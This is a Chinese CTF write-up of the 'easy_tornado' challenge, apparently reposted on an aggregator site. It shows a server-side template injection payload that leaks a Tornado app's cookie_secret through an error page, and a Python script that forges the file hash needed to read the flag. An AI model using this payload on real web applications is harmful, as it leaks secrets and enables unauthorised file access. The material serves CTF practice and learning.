当前位置:网站首页>漏洞复现-easy_tornado
漏洞复现-easy_tornado
2022-07-07 05:07:00 【_s1mple】
[环境]
windows
[工具]
Firefox
[步骤]
tornado是python中的一个web应用框架。
拿到题目发现有三个文件:
flag.txt
/flag.txt
flag in /fllllllllllllag
发现flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt
render
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))
filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={ {datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
计算filehash值:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
成功获取flag。
边栏推荐
- 2022 simulated examination question bank and online simulated examination of tea master (primary) examination questions
- 有 Docker 谁还在自己本地安装 Mysql ?
- Real time monitoring of dog walking and rope pulling AI recognition helps smart city
- 芯片 設計資料下載
- Empire CMS collection Empire template program general
- C语言二叉树与建堆
- 2022 National latest fire-fighting facility operator (primary fire-fighting facility operator) simulation questions and answers
- Niu Mei's mathematical problem --- combinatorial number
- Linux server development, MySQL index principle and optimization
- JS quick start (I)
猜你喜欢
[matlab] when matrix multiplication in Simulink user-defined function does not work properly, matrix multiplication module in module library can be used instead
jeeSite 表单页面的Excel 导入功能
Use of JMeter
这5个摸鱼神器太火了!程序员:知道了快删!
青龙面板-今日头条
Excel import function of jeesite form page
CDC (change data capture technology), a powerful tool for real-time database synchronization
Unityhub cracking & unity cracking
Force buckle 145 Binary Tree Postorder Traversal
【数字IC验证快速入门】17、SystemVerilog学习之基本语法4(随机化Randomization)
随机推荐
Unityhub cracking & unity cracking
Recursive construction of maximum binary tree
LeetCode中等题之我的日程安排表 I
Codeforce c.strange test and acwing
Linux Installation MySQL 8.0 configuration
太真实了,原来自己一直没有富裕起来是有原因的
[untitled]
复杂网络建模(一)
有 Docker 谁还在自己本地安装 Mysql ?
Network learning (I) -- basic model learning
JS cross browser parsing XML application
Merging binary trees by recursion
Linux server development, redis source code storage principle and data model
Es FAQ summary
【踩坑系列】uniapp之h5 跨域的问题
让Livelink初始Pose与动捕演员一致
Shell 脚本的替换功能实现
game攻防世界逆向
面试题(CAS)
The zblog plug-in supports the plug-in pushed by Baidu Sogou 360